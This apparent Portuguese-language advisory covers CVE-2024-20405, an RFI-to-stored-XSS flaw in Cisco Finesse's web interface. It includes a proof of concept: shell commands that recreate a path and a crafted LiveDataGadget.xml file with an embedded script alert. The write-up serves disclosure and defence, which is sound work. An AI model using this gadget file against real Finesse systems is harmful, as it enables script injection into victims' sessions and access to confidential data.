Descrição

Uma vulnerabilidade na interface de gerenciamento baseada na web do Cisco Finesse poderia permitir que um atacante remoto não autenticado realize um ataque XSS armazenado explorando uma vulnerabilidade RFI. Esta vulnerabilidade se deve à validação insuficiente da entrada fornecida pelo usuário para solicitações HTTP específicas enviadas a um dispositivo afetado. Um atacante poderia explorar esta vulnerabilidade persuadindo um usuário a clicar em um link criado. Uma exploração bem-sucedida poderia permitir que o atacante execute código de script arbitrário no contexto da interface afetada ou acesse informações confidenciais no dispositivo afetado.

Prova de Conceito (PoC)

Crie um caminho completo que corresponda ao mesmo caminho do esquema original.

mkdir cuicui && mkdir cuicui/gadget && mkdir cuicui/gadget/LiveData

Crie um arquivo de configuração "LiveDataGadget.xml" contendo código malicioso a ser executado quando o arquivo for chamado.

nano cuicui/gadget/LiveData/LiveDataGadget.xml

<?xml version="1.0" encoding="UTF-8" ?>

<Module>

<ModulePrefs title="__MSG_default_gadget_title__" height="0" >
    <Require feature="pubsub-2" />
    <Require feature="settitle" />
    <Require feature="setprefs" />
    <Require feature="dynamic-height" />
    <Require feature="views" />
    <Optional feature="content-rewrite">
        <!-- these files will be directly served by cuic, not through shindig -->
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.js</Param>
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.css</Param>
        <Param name="exclude-url">desktop/assets/js/finesse.min.js</Param>
        <Param name="exclude-url">desktop/scripts/js/ccbu-third-party.min.js</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/CiscoSansTTRegular.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff2</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.eot</Param>
    </Optional>
   
</ModulePrefs>

    <UserPref name="scheme" display_name="scheme" default_value=""/>
    <UserPref name="host" display_name="host" default_value=""/>
    <UserPref name="hostPort" display_name="hostPort" default_value=""/>

  <Content type="html" view="default,canvas">
   
    <![CDATA[
    <!DOCTYPE html>
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta charset="UTF-8" />
        <script type="text/javascript">
            alert("From RFI To XSS")
        </script>
    </head>

    <body class="claro" >
    <h1>Cisco Finesse v12.6</h1>
    </body>
    ]]>
  </Content>
</Module>

CVE-2024-20405

Mais Populares

Referências

Aviso Legal